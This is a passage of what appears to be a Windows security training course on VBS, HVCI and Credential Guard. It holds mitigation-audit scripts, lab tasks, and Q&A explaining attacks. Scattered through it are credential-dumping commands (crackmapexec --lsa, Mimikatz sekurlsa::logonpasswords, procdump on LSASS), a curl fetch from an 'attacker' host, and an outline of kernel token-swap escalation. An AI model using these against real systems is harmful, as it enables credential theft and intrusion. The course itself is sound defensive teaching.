        [\"powershell\", \"-NoProfile\", \"-Command\", ps_script],\n            capture_output=True, text=True, timeout=30\n        )\n        output = result.stdout.strip()\n        if \"1\" in output:\n            print(f\"  [+] Credential Guard is RUNNING on {target}\")\n        elif \"2\" in output:\n            print(f\"  [+] HVCI is RUNNING on {target}\")\n        else:\n            print(f\"  [-] Security services on {target}: {output or 'none detected'}\")\n    except Exception as e:\n        print(f\"  [!] Remote check failed: {e}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Credential Guard Verifier\")\n    parser.add_argument(\"--target\", help=\"Remote target IP\u002Fhostname\")\n    parser.add_argument(\"--user\", help=\"Username for remote check\")\n    parser.add_argument(\"--pass\", dest=\"password\", help=\"Password for remote check\")\n    args = parser.parse_args()\n\n    print(\"=\" * 60)\n    print(\"  Credential Guard Verification Tool\")\n    print(\"=\" * 60)\n\n    if os.name != \"nt\":\n        print(\"\\n  [!] Run this script on Windows for live checks.\")\n        print(\"  [*] For remote probing from Linux, use:\")\n        print(\"      crackmapexec smb \u003Ctarget> -u user -p pass --lsa\")\n        print(\"      (will fail if Credential Guard is active)\")\n        print(\"\\n  Expected Credential Guard behavior:\")\n        print(\"    CG ON:  mimikatz -> NTLM: (null)\")\n        print(\"    CG OFF: mimikatz -> NTLM: 5f4dcc3b5aa765d61d8327deb882cf99\")\n        return\n\n    local_check()\n\n    if args.target and args.user and args.password:\n        remote_check(args.target, args.user, args.password)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n#### VBS Mitigation Validation Suite\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nvbs_validation_suite.py — Complete VBS\u002FHVCI mitigation validation\nDemonstrates: End-to-end testing of all Day 5 mitigations.\n\nRuns all checks from Day 5 in a single script:\n  1. VBS status and configuration\n  2. HVCI enforcement verification\n  3. Credential Guard status\n  4. SMEP\u002FSMAP\u002FKPTI detection\n  5. Speculation control mitigations\n  6. Kernel CFG (kCFG) status\n  7. Secure Boot verification\n  8. WDAC\u002FCI policy status\n  9. Vulnerable driver blocklist\n  10. Attack surface assessment\n\nGenerates a JSON report for comparison across different configurations.\n\nUsage: python vbs_validation_suite.py [--output report.json]\n\"\"\"\nimport subprocess\nimport json\nimport os\nimport sys\nimport datetime\nimport argparse\n\ndef ps(command):\n    \"\"\"Run PowerShell command, return stdout.\"\"\"\n    try:\n        r = subprocess.run(\n            [\"powershell\", \"-NoProfile\", \"-Command\", command],\n            capture_output=True, text=True, timeout=30\n        )\n        return r.stdout.strip()\n    except Exception as e:\n        return f\"ERROR: {e}\"\n\ndef check(name, command, interpret_fn=None):\n    \"\"\"Run a check and return structured result.\"\"\"\n    output = ps(command)\n    if interpret_fn:\n        status, detail = interpret_fn(output)\n    else:\n        status = \"info\"\n        detail = output\n    return {\"name\": name, \"status\": status, \"output\": output, \"detail\": detail}\n\ndef interpret_bool(output):\n    if output.lower() in (\"true\", \"1\", \"enabled\", \"running\"):\n        return \"enabled\", output\n    elif output.lower() in (\"false\", \"0\", \"disabled\"):\n        return \"disabled\", output\n    return \"unknown\", output\n\ndef run_all_checks():\n    \"\"\"Run comprehensive VBS\u002FHVCI mitigation checks.\"\"\"\n    results = []\n\n    print(\"[*] Running VBS\u002FHVCI Mitigation Validation Suite...\\n\")\n\n    # 1. VBS Status\n    print(\"  [1\u002F10] VBS Status...\")\n    r = check(\"VBS Status\",\n        \"(Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard).\"\n        \"VirtualizationBasedSecurityStatus\",\n        lambda o: (\"enabled\" if o == \"2\" else \"disabled\",\n                   {\"0\":\"Off\",\"1\":\"Configured\",\"2\":\"Running\"}.get(o, o)))\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 2. HVCI\n    print(\"  [2\u002F10] HVCI (Memory Integrity)...\")\n    r = check(\"HVCI\",\n        \"try { (Get-ItemProperty \"\n        \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\"\n        \"\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity' \"\n        \"-Name Enabled -EA Stop).Enabled } catch { 'NOT_SET' }\",\n        interpret_bool)\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 3. Credential Guard (check both registry AND actual running status)\n    print(\"  [3\u002F10] Credential Guard...\")\n    # First check registry\n    reg_output = ps(\n        \"try { (Get-ItemProperty \"\n        \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa' \"\n        \"-Name LsaCfgFlags -EA Stop).LsaCfgFlags } catch { '0' }\")\n    # Then check if actually running\n    running_output = ps(\n        \"(Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard).\"\n        \"SecurityServicesRunning -contains 1\")\n\n    is_running = running_output.lower() == \"true\"\n    reg_status = {\"0\":\"Disabled\",\"1\":\"UEFI Lock\",\"2\":\"No Lock\"}.get(reg_output, reg_output)\n\n    if is_running:\n        status = \"enabled\"\n        detail = f\"{reg_status} (Running)\"\n    elif reg_output in (\"1\", \"2\"):\n        status = \"disabled\"\n        detail = f\"{reg_status} (Configured but NOT running - requires Enterprise\u002FEducation)\"\n    else:\n        status = \"disabled\"\n        detail = \"Disabled\"\n\n    results.append({\"name\": \"Credential Guard\", \"status\": status,\n                   \"output\": f\"Registry:{reg_output}, Running:{running_output}\",\n                   \"detail\": detail})\n    print(f\"    -> {detail}\")\n\n    # 4. Secure Boot\n    print(\"  [4\u002F10] Secure Boot...\")\n    r = check(\"Secure Boot\",\n        \"try { Confirm-SecureBootUEFI } catch { 'ERROR' }\",\n        interpret_bool)\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 5. LSASS Protection (RunAsPPL)\n    print(\"  [5\u002F10] LSASS RunAsPPL...\")\n    r = check(\"LSASS RunAsPPL\",\n        \"try { (Get-ItemProperty \"\n        \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa' \"\n        \"-Name RunAsPPL -EA Stop).RunAsPPL } catch { '0' }\",\n        lambda o: (\"enabled\" if o in (\"1\", \"2\") else \"disabled\",\n                   {\"0\":\"Disabled\",\"1\":\"Enabled\",\"2\":\"Enabled (UEFI)\"}.get(o, o)))\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 6. Kernel DMA Protection\n    print(\"  [6\u002F10] Kernel DMA Protection...\")\n    r = check(\"Kernel DMA Protection\",\n        \"(Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard).\"\n        \"AvailableSecurityProperties -contains 7\",\n        interpret_bool)\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 7. Code Integrity Policy\n    print(\"  [7\u002F10] Code Integrity Policy...\")\n    r = check(\"CI Policy\",\n        \"(Get-CimInstance -ClassName Win32_DeviceGuard \"\n        \"-Namespace root\u002FMicrosoft\u002FWindows\u002FDeviceGuard).\"\n        \"CodeIntegrityPolicyEnforcementStatus\",\n        lambda o: (\"enabled\" if o == \"2\" else \"disabled\" if o == \"0\" else \"audit\",\n                   {\"0\":\"Off\",\"1\":\"Audit\",\"2\":\"Enforced\"}.get(o, o)))\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 8. Vulnerable Driver Blocklist\n    print(\"  [8\u002F10] Vulnerable Driver Blocklist...\")\n    r = check(\"Driver Blocklist\",\n        \"try { (Get-ItemProperty \"\n        \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\CI\\\\Config' \"\n        \"-Name VulnerableDriverBlocklistEnable -EA Stop).\"\n        \"VulnerableDriverBlocklistEnable } catch { 'NOT_SET' }\",\n        lambda o: (\"enabled\" if o == \"1\" else \"disabled\" if o == \"0\" else \"unknown\", o))\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 9. WDigest (cleartext creds)\n    print(\"  [9\u002F10] WDigest Cleartext Caching...\")\n    r = check(\"WDigest\",\n        \"try { (Get-ItemProperty \"\n        \"'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest' \"\n        \"-Name UseLogonCredential -EA Stop).UseLogonCredential } \"\n        \"catch { 'NOT_SET' }\",\n        lambda o: (\"disabled\" if o in (\"0\", \"NOT_SET\") else \"enabled\",\n                   \"Disabled (secure)\" if o in (\"0\", \"NOT_SET\") else \"Enabled (INSECURE!)\"))\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    # 10. DEP System Policy\n    print(\"  [10\u002F10] System DEP Policy...\")\n    r = check(\"DEP Policy\",\n        \"(Get-CimInstance Win32_OperatingSystem).\"\n        \"DataExecutionPrevention_SupportPolicy\",\n        lambda o: (\"enabled\" if o in (\"1\",\"3\") else \"partial\" if o == \"2\" else \"disabled\",\n                   {\"0\":\"Always Off\",\"1\":\"Always On\",\"2\":\"Opt-In\",\"3\":\"Opt-Out\"}.get(o,o)))\n    results.append(r)\n    print(f\"    -> {r['detail']}\")\n\n    return results\n\ndef generate_report(results, output_file=None):\n    \"\"\"Generate attack surface assessment and optional JSON report.\"\"\"\n    print(\"\\n\" + \"=\" * 60)\n    print(\"  MITIGATION VALIDATION REPORT\")\n    print(\"=\" * 60)\n\n    enabled = sum(1 for r in results if r[\"status\"] == \"enabled\")\n    disabled = sum(1 for r in results if r[\"status\"] == \"disabled\")\n    total = len(results)\n\n    print(f\"\\n  Score: {enabled}\u002F{total} mitigations enabled\")\n    print(f\"  {'='*40}\")\n\n    for r in results:\n        icon = {\"enabled\":\"+\", \"disabled\":\"-\", \"audit\":\"~\"}.get(r[\"status\"], \"?\")\n        print(f\"  [{icon}] {r['name']:\u003C30} {r['detail']}\")\n\n    # Attack surface assessment\n    print(f\"\\n  Attack Surface Assessment:\")\n    print(f\"  {'-'*40}\")\n\n    status_map = {r[\"name\"]: r[\"status\"] for r in results}\n\n    attacks = [\n        (\"Kernel shellcode injection\",\n         status_map.get(\"HVCI\") == \"enabled\",\n         \"HVCI\"),\n        (\"Unsigned driver loading\",\n         status_map.get(\"HVCI\") == \"enabled\",\n         \"HVCI\"),\n        (\"LSASS credential dumping (mimikatz)\",\n         status_map.get(\"Credential Guard\") == \"enabled\" or\n         status_map.get(\"LSASS RunAsPPL\") == \"enabled\",\n         \"CG\u002FPPL\"),\n        (\"Pass-the-Hash attacks\",\n         status_map.get(\"Credential Guard\") == \"enabled\",\n         \"CG\"),\n        (\"WDigest cleartext password theft\",\n         status_map.get(\"WDigest\") == \"disabled\",\n         \"WDigest disabled\"),\n        (\"DMA attacks (Thunderbolt\u002FPCILeech)\",\n         status_map.get(\"Kernel DMA Protection\") == \"enabled\",\n         \"DMA Prot\"),\n        (\"BYOVD (signed vuln drivers)\",\n         status_map.get(\"Driver Blocklist\") == \"enabled\",\n         \"Blocklist (partial)\"),\n        (\"Firmware\u002Fbootkit attacks\",\n         status_map.get(\"Secure Boot\") == \"enabled\",\n         \"Secure Boot\"),\n        (\"Data-only kernel attacks (token swap)\",\n         False,  # No current mitigation fully prevents this\n         \"None (KDP partial)\"),\n    ]\n\n    for attack, blocked, mitigation in attacks:\n        icon = \"X\" if blocked else \"!\"\n        status = \"BLOCKED\" if blocked else \"VIABLE\"\n        print(f\"  [{icon}] {attack:\u003C35} {status:\u003C10} [{mitigation}]\")\n\n    # Save report\n    if output_file:\n        report = {\n            \"timestamp\": datetime.datetime.now().isoformat(),\n            \"hostname\": os.environ.get(\"COMPUTERNAME\", \"unknown\"),\n            \"score\": f\"{enabled}\u002F{total}\",\n            \"results\": results,\n        }\n        with open(output_file, \"w\") as f:\n            json.dump(report, f, indent=2)\n        print(f\"\\n  [*] Report saved to: {output_file}\")\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--output\", \"-o\", help=\"Output JSON report file\")\n    args = parser.parse_args()\n\n    print(\"=\" * 60)\n    print(\"  VBS\u002FHVCI Mitigation Validation Suite\")\n    print(f\"  Date: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M')}\")\n    print(\"=\" * 60)\n\n    if os.name != \"nt\":\n        print(\"\\n  [!] This script must be run on Windows.\")\n        print(\"  [*] Transfer to target: python -m http.server 8080\")\n        print(\"  [*] On target: curl http:\u002F\u002Fattacker:8080\u002Fvbs_validation_suite.py -o v.py\")\n        print(\"  [*] Run: python v.py --output report.json\")\n        return\n\n    results = run_all_checks()\n    generate_report(results, args.output)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n#### Task 1: Enable VBS and HVCI\n\n1. Check current VBS status with `Get-CimInstance Win32_DeviceGuard`\n2. Enable HVCI via Windows Settings (Settings → Privacy & Security → Windows Security → Device Security → Core Isolation → Memory Integrity)\n3. Reboot and verify HVCI is running (check SecurityServicesRunning contains 2)\n4. Document the security services enabled\n\n**Note**: VBS is automatically enabled when HVCI is turned on. You don't need to enable VBS separately.\n\n#### Task 2: Credential Guard Testing\n\n**IMPORTANT**: This task requires Windows Enterprise or Education edition. Windows Pro\u002FHome do not support Credential Guard.\n\n1. Check your Windows edition: `Get-ComputerInfo | Select-Object WindowsEditionId`\n2. If Enterprise\u002FEducation: Enable Credential Guard via Group Policy\n3. Verify it's actually running: Check if SecurityServicesRunning contains 1\n4. Run Mimikatz `sekurlsa::logonpasswords` - document failure\n5. Compare output with Credential Guard disabled\n6. Explain why hashes are inaccessible (isolated in VTL 1)\n\n**Alternative for Windows Pro**: Test LSASS RunAsPPL protection instead:\n\n- Enable RunAsPPL in registry\n- Attempt LSASS memory dump with procdump\n- Document how RunAsPPL blocks the dump\n\n#### Task 3: HVCI Driver Blocking Test\n\n> [!NOTE]\n> Building actual kernel drivers requires the Windows Driver Kit (WDK) and\n> code signing certificates. Instead of compiling a driver, we test HVCI\n> by attempting to load a known unsigned `.sys` file.\n\n```powershell\n# Step 1: Create a dummy \"driver\" file (just garbage bytes — not a real driver)\n# This simulates having an unsigned .sys file\nfsutil file createnew C:\\Windows_Mitigations_Lab\\bin\\fake_unsigned.sys 4096\n\n# Step 2: Attempt to register it as a kernel service\nsc create FakeDriver type= kernel binPath= C:\\Windows_Mitigations_Lab\\bin\\fake_unsigned.sys\n\n# Step 3: Try to start it\nsc start FakeDriver\n# Without HVCI: Fails (not a valid PE) — but the LOADING attempt is allowed\n# With HVCI:    Fails EARLIER — HVCI rejects unsigned code before parsing\n\n# Step 4: Check Event Log for HVCI block\nGet-WinEvent -LogName \"Microsoft-Windows-CodeIntegrity\u002FOperational\" -MaxEvents 10 |\n    Where-Object { $_.Id -in @(3089, 3077) } |\n    Select-Object TimeCreated, Id, Message\n# Event ID 3089: Signing information for blocked file\n# Event ID 3077: Code integrity enforcement block\n\n# Step 5: Verify HVCI is actually enforcing\nGet-CimInstance -ClassName Win32_DeviceGuard -Namespace root\\Microsoft\\Windows\\DeviceGuard |\n    Select-Object CodeIntegrityPolicyEnforcementStatus\n# 2 = Enforced (HVCI active)\n# 1 = Audit mode\n# 0 = Off\n\n# Step 6: Clean up\nsc delete FakeDriver\n\n# Real-world BYOVD test:\n# A SIGNED but VULNERABLE driver (e.g., Capcom.sys, DBUtil_2_3.sys)\n# will PASS HVCI signature checks and load successfully.\n# This is the BYOVD attack vector — HVCI checks integrity, not quality.\n# However, the Vulnerable Driver Blocklist (if enabled) blocks known bad drivers.\n```\n\n#### Task 4: Kernel Token Attack Simulation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# vbs_token_test.py - Demonstrates VBS\u002FKDP protection concept\n# Educational: Shows what kernel exploits try to do\n\nimport ctypes\nimport struct\n\ndef explain_token_attack():\n    \"\"\"Explain what kernel token attacks try to achieve\"\"\"\n    print(\"=\" * 60)\n    print(\"Kernel Token Manipulation Attack (Educational)\")\n    print(\"=\" * 60)\n\n    print(\"\"\"\nWithout VBS\u002FHVCI:\n1. Exploit kernel vulnerability to get read\u002Fwrite primitive\n2. Find current process EPROCESS structure\n3. Locate Token pointer in EPROCESS\n4. Copy SYSTEM process token to current process\n5. Result: Current process now has SYSTEM privileges\n\nWith VBS\u002FHVCI enabled (but WITHOUT KDP on Token):\n1. Same kernel vulnerability exploited\n2. Same read\u002Fwrite primitive achieved\n3. Attempt to modify Token pointer\n4. Modification SUCCEEDS - Token is NOT KDP-protected!\n5. Exploit SUCCEEDS - privilege escalation works\n6. This is why CVE-2024-21338 worked even with VBS+HVCI!\n\nWith VBS\u002FHVCI + KDP on Token (future\u002Ftheoretical):\n1. Same kernel vulnerability exploited\n2. Same read\u002Fwrite primitive achieved\n3. Attempt to modify Token pointer\n4. KDP BLOCKS modification - Token is in protected memory\n5. Exploit FAILS - cannot escalate privileges\n\nCRITICAL REALITY:\n- HVCI protects CODE integrity (blocks unsigned kernel code)\n- HVCI does NOT protect DATA integrity (allows token modification)\n- EPROCESS.Token is NOT KDP-protected in current Windows versions\n- KDP is opt-in and rarely used for critical structures\n\nProtected Structures (KDP - when drivers opt in):\n- Driver-specific data sections (via MmProtectDriverSection)\n- NOT automatically: EPROCESS.Token, EPROCESS.SecurityDescriptor\n- This is the gap that data-only attacks exploit!\n\"\"\")\n\n    # Simulate checking if protection would work\n    print(\"\\n[*] Simulating protection check...\")\n    print(\"[+] If HVCI enabled: Kernel shellcode BLOCKED\")\n    print(\"[!] If HVCI enabled: Token modification STILL WORKS (data-only attack)\")\n    print(\"[+] If KDP on Token (future): Token modification BLOCKED\")\n    print(\"[-] If VBS disabled: Both shellcode AND token attacks work\")\n\nif __name__ == \"__main__\":\n    explain_token_attack()\n```\n\n### Key Takeaways\n\n1. **VBS creates a hardware-enforced trust boundary**: Even a compromised kernel (VTL 0)\n   cannot access Secure World (VTL 1) memory. This is fundamentally different from all\n   software-only mitigations we studied in Days 2-4.\n2. **HVCI is \"code signing for the kernel\"**: It prevents unsigned code execution but does\n   NOT prevent data corruption. CVE-2024-21338 proved that data-only attacks (token swap)\n   work even with HVCI enabled — the same principle as Day 2's data-only technique.\n3. **Credential Guard eliminates pass-the-hash**: Credentials stored in VTL 1 are\n   inaccessible even to SYSTEM-level attackers. This forces attackers to use Kerberos\n   relay\u002Fdelegation attacks instead of simple credential dumping.\n4. **KDP is opt-in, not automatic**: A common misconception is that KDP protects all\n   kernel structures. In reality, only data explicitly registered via\n   `MmProtectDriverSection()` is protected. EPROCESS.Token is NOT KDP-protected.\n5. **BYOVD (Bring Your Own Vulnerable Driver) bypasses HVCI**: Signed drivers with\n   known vulnerabilities pass HVCI checks. Microsoft maintains a blocklist, but\n   it's always reactive — new vulnerable signed drivers appear regularly.\n6. **SMEP\u002FSMAP eliminated classic kernel exploitation**: Pre-2012 kernel exploits could\n   execute user-mode shellcode from ring 0. SMEP blocks this entirely. SMAP prevents\n   the kernel from reading attacker-controlled user-mode memory.\n7. **KVA Shadow (Meltdown mitigation) has real performance cost**: 2-5% with PCID,\n   up to 30% without. I\u002FO-intensive workloads are most affected.\n8. **Speculation attacks are mitigated, not eliminated**: Retpoline, IBRS, and STIBP\n   mitigate known Spectre variants, but new speculation primitives continue to be\n   discovered. Hardware fixes in newer CPUs provide better performance than software\n   mitigations.\n9. **The exploit evolution is clear**: Memory corruption -> ROP -> Data-only -> Logic bugs\n   -> Signed driver abuse. Each mitigation layer forced attackers to the next technique.\n\n### Discussion Questions\n\n1. **Can a hypervisor vulnerability compromise VBS?**\n\n   > Yes. If Hyper-V itself has a vulnerability, VTL 1 can be compromised. Hyper-V\n   > bugs are rare but extremely high-value (Project Zero has found some). This is\n   > why Microsoft runs a dedicated Hyper-V bug bounty with payouts up to $250K.\n\n2. **What attacks remain possible even with VBS+HVCI?**\n\n   > Data-only attacks (token swap if KDP not covering it), logic bugs in signed\n   > drivers, BYOVD, supply chain compromise of signed code, firmware\u002FUEFI attacks\n   > below VBS, and DMA attacks from PCIe devices without Kernel DMA Protection.\n\n3. **How does VBS affect compatibility with older drivers?**\n\n   > Unsigned drivers cannot load at all. Signed drivers using non-compliant memory\n   > operations (W+X pages, modifying read-only sections) will crash. This breaks\n   > many older antivirus products, hardware drivers, and virtualization software.\n   > Check compatibility with `Get-SystemDriver | Where { !$_.HVCICompliant }`.\n\n4. **Is VBS the future of OS security, or a temporary solution?**\n\n   > VBS is a bridge technology. Long-term, languages like Rust eliminate memory\n   > corruption at compile time. But VBS protects existing C\u002FC++ codebases that\n   > cannot be rewritten. Expect VBS to remain critical for the next 10+ years.\n\n5. **Why can't \"Administrator\" access VTL 1 (Secure World) memory?**\n\n   > Administrator runs in VTL 0 (Normal World). The hypervisor (ring -1) enforces\n   > VTL isolation using Second Level Address Translation (SLAT\u002FEPT). Even the NT\n   > kernel cannot construct page tables that map VTL 1 memory — the hypervisor\n   > intercepts and blocks such attempts at the hardware level.\n\n6. **How does Pluton differ from a traditional TPM 2.0 chip?**\n\n   > Traditional TPMs are discrete chips connected via LPC\u002FSPI bus — an attacker\n   > with physical access can sniff the bus (\"bus interposer\" attack). Pluton is\n   > integrated INTO the CPU die, eliminating the physical bus attack surface.\n   > Pluton also receives firmware updates via Windows Update, unlike TPMs which\n   > rarely receive firmware patches.\n\n7. **If HVCI blocks unsigned drivers, how do \"BYOVD\" attacks still work?**\n\n   > BYOVD uses drivers that ARE legitimately signed (by Microsoft or WHQL). The\n   > driver has a known vulnerability (e.g., arbitrary kernel read\u002Fwrite via IOCTL).\n   > HVCI validates the signature (valid!) but cannot assess code quality. The\n   > attacker exploits the signed driver's vulnerability to achieve kernel access.\n   > Microsoft's Vulnerable Driver Blocklist mitigates this reactively.\n\n8. **Why does Credential Guard require UEFI Secure Boot to be effective?**\n\n   > Without Secure Boot, an attacker could install a bootkit that loads before the\n   > hypervisor and either disables VBS entirely or intercepts credentials before\n   > they reach VTL 1. Secure Boot ensures the boot chain is trusted from firmware\n   > to hypervisor to secure kernel. BlackLotus (CVE-2022-21894) demonstrated what\n   > happens when Secure Boot is bypassed.\n\n9. **What types of kernel attacks remain viable even with VBS enabled?**\n   > Data-only attacks (overwrite non-KDP-protected data like tokens, file paths,\n   > security descriptors), logic bugs in signed drivers (TOCTOU, type confusion),\n   > BYOVD with signed-but-vulnerable drivers, and attacks targeting the hypervisor\n   > itself. The key insight from this entire week: as code-flow protections improve,\n   > attackers pivot to data-flow attacks.\n\n## Day 6: Comprehensive Mitigation Testing and Validation\n\n- **Estimated Time**: 4-5 hours\n- **Goal**: Systematically test all mitigations and document security posture.\n- **Activities**:\n  - _Reading_:\n    - [Exploit Protection Reference](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fmicrosoft-365\u002Fsecurity\u002Fdefender-endpoint\u002Fexploit-protection-reference)\n  - _Online Resources_:\n    - [Windows Security Baselines](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fsecurity\u002Foperating-system-security\u002Fdevice-management\u002Fwindows-security-configuration-framework\u002Fwindows-security-baselines)\n  - _Tool Setup_:\n    - Security Compliance Toolkit\n    - BinSkim Binary Analyzer (replaces deprecated BinScope)\n  - _Exercise_:\n    - Audit system mitigation status\n    - Test each protection mechanism\n    - Build comprehensive security report\n\n### Deliverables\n\n- **Audit Report**: `mitigation_audit.csv` from your test directory\n- **Compliance Check**: `compliance_report.json` showing system hardening status\n- **Drift\u002FMatch**: A screenshot showing your test binary PASSING the build gate\n\n### Mitigation Audit\n\n**Automated Audit Script**:\n\n```bash\n# mitigation_audit.ps1\nWrite-Host \"=== Windows Mitigation Audit ===\" -ForegroundColor Cyan\n\n# 1. Check DEP\nWrite-Host \"`n[*] Checking DEP...\" -ForegroundColor Yellow\n$dep = Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object -ExpandProperty DataExecutionPrevention_SupportPolicy\nswitch ($dep) {\n    0 { Write-Host \"[-] DEP: Always Off\" -ForegroundColor Red }\n    1 { Write-Host \"[+] DEP: Always On\" -ForegroundColor Green }\n    2 { Write-Host \"[~] DEP: Opt-In (default)\" -ForegroundColor Yellow }\n    3 { Write-Host \"[+] DEP: Opt-Out\" -ForegroundColor Green }\n}\n\n# 2. Check ASLR\nWrite-Host \"`n[*] Checking ASLR...\" -ForegroundColor Yellow\n$aslr = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\" -Name \"MoveImages\" -ErrorAction SilentlyContinue\nif ($aslr.MoveImages -eq 0) {\n    Write-Host \"[-] ASLR: Disabled\" -ForegroundColor Red\n} else {\n    Write-Host \"[+] ASLR: Enabled\" -ForegroundColor Green\n}\n\n# 3. Check SEHOP\nWrite-Host \"`n[*] Checking SEHOP...\" -ForegroundColor Yellow\n$sehop = Get-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\" -Name \"DisableExceptionChainValidation\" -ErrorAction SilentlyContinue\nif ($sehop.DisableExceptionChainValidation -eq 1) {\n    Write-Host \"[-] SEHOP: Disabled\" -ForegroundColor Red\n} else {\n    Write-Host \"[+] SEHOP: Enabled\" -ForegroundColor Green\n}\n\n# 4. Check VBS\nWrite-Host \"`n[*] Checking VBS...\" -ForegroundColor Yellow\n$vbs = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\\Microsoft\\Windows\\DeviceGuard -ErrorAction SilentlyContinue\nif ($vbs.VirtualizationBasedSecurityStatus -eq 2) {\n    Write-Host \"[+] VBS: Running\" -ForegroundColor Green\n\n    $services = $vbs.SecurityServicesRunning\n    if ($services -contains 1) {\n        Write-Host \"  [+] Credential Guard: Running\" -ForegroundColor Green\n    }\n    if ($services -contains 2) {\n        Write-Host \"  [+] HVCI: Running\" -ForegroundColor Green\n    }\n} else {\n    Write-Host \"[-] VBS: Not Running\" -ForegroundColor Red\n}\n\n# 5. Check CFG\nWrite-Host \"`n[*] Checking CFG support...\" -ForegroundColor Yellow\n# CFG is per-process, check common system binaries\n$testBinaries = @(\n    \"C:\\Windows\\System32\\notepad.exe\",\n    \"C:\\Windows\\System32\\cmd.exe\",\n    \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"\n)\n\nforeach ($bin in $testBinaries) {\n    if (Test-Path $bin) {\n        try {\n            # Use Get-ProcessMitigation to check CFG for the binary\n            $mitigation = Get-ProcessMitigation -Name ([System.IO.Path]::GetFileName($bin)) -ErrorAction SilentlyContinue\n\n            if ($mitigation -and $mitigation.CFG.Enable -in @(\"ON\", $true)) {\n                Write-Host \"  [+] $([System.IO.Path]::GetFileName($bin)) has CFG enabled\" -ForegroundColor Green\n            } else {\n                # Fallback: Check PE headers directly\n                $bytes = [System.IO.File]::ReadAllBytes($bin)\n                $peOffset = [BitConverter]::ToInt32($bytes, 0x3C)\n                $machine = [BitConverter]::ToUInt16($bytes, $peOffset + 4)\n\n                # DllCharacteristics location\n                if ($machine -eq 0x8664) {  # x64\n                    $dllCharOffset = $peOffset + 0x46 + 0x18\n                } else {  # x86\n                    $dllCharOffset = $peOffset + 0x46\n                }\n\n                $dllChar = [BitConverter]::ToUInt16($bytes, $dllCharOffset)\n                $cfgFlag = 0x4000  # IMAGE_DLLCHARACTERISTICS_GUARD_CF\n\n                if (($dllChar -band $cfgFlag) -eq $cfgFlag) {\n                    Write-Host \"  [+] $([System.IO.Path]::GetFileName($bin)) has CFG in PE header\" -ForegroundColor Green\n                } else {\n                    Write-Host \"  [-] $([System.IO.Path]::GetFileName($bin)) lacks CFG\" -ForegroundColor Yellow\n                }\n            }\n        } catch {\n            Write-Host \"  [~] Could not check $([System.IO.Path]::GetFileName($bin))\" -ForegroundColor Gray\n        }\n    }\n}\n\nWrite-Host \"`n  Note: CFG is enabled per-process. System-wide default:\" -ForegroundColor Gray\ntry {\n    $sysCFG = (Get-ProcessMitigation -System).CFG.Enable\n    if ($sysCFG -in @(\"ON\", $true)) {\n        Write-Host \"    [+] System-wide CFG: Enabled by default\" -ForegroundColor Green\n    } else {\n        Write-Host \"    [-] System-wide CFG: Not enabled by default\" -ForegroundColor Yellow\n    }\n} catch {\n    Write-Host \"    [~] Could not query system CFG policy\" -ForegroundColor Gray\n}\n\n# 6. Check CET (Control-flow Enforcement Technology)\nWrite-Host \"`n[*] Checking CET...\" -ForegroundColor Yellow\n$cpu = Get-CimInstance -ClassName Win32_Processor | Select-Object -First 1\n\n# Check for CET-capable CPU (11th gen Intel Tiger Lake+, AMD Zen 3+)\n$cetCapableCPU = $false\nif ($cpu.Name -match \"11th Gen|12th Gen|13th Gen|14th Gen|Core Ultra\" -or\n    $cpu.Name -match \"Ryzen.*(5[0-9]{3}|7[0-9]{3}|9[0-9]{3})\" -or\n    $cpu.Name -match \"EPYC.*7[0-9]{3}\") {\n    $cetCapableCPU = $true\n}\n\nif ($cetCapableCPU) {\n    Write-Host \"[+] CET: CPU is CET-capable ($($cpu.Name))\" -ForegroundColor Green\n\n    # Check if Shadow Stack is enabled at system level\n    try {\n        $mitigation = Get-ProcessMitigation -System\n        $shadowStack = $mitigation.UserShadowStack\n        $shadowStackValue = $shadowStack.Enable\n\n        Write-Host \"  Debug: UserShadowStack.Enable = '$shadowStackValue'\" -ForegroundColor Gray\n\n        if ($shadowStackValue -eq \"ON\" -or $shadowStackValue -eq $true -or $shadowStackValue -eq 1) {\n            Write-Host \"  [+] User-mode Shadow Stack: Enabled\" -ForegroundColor Green\n        } elseif ($shadowStackValue -eq \"OFF\" -or $shadowStackValue -eq $false -or $shadowStackValue -eq 0) {\n            Write-Host \"  [-] User-mode Shadow Stack: Explicitly disabled\" -ForegroundColor Red\n        } elseif ([string]::IsNullOrEmpty($shadowStackValue) -or $shadowStackValue -eq \"NOTSET\" -or $null -eq $shadowStackValue) 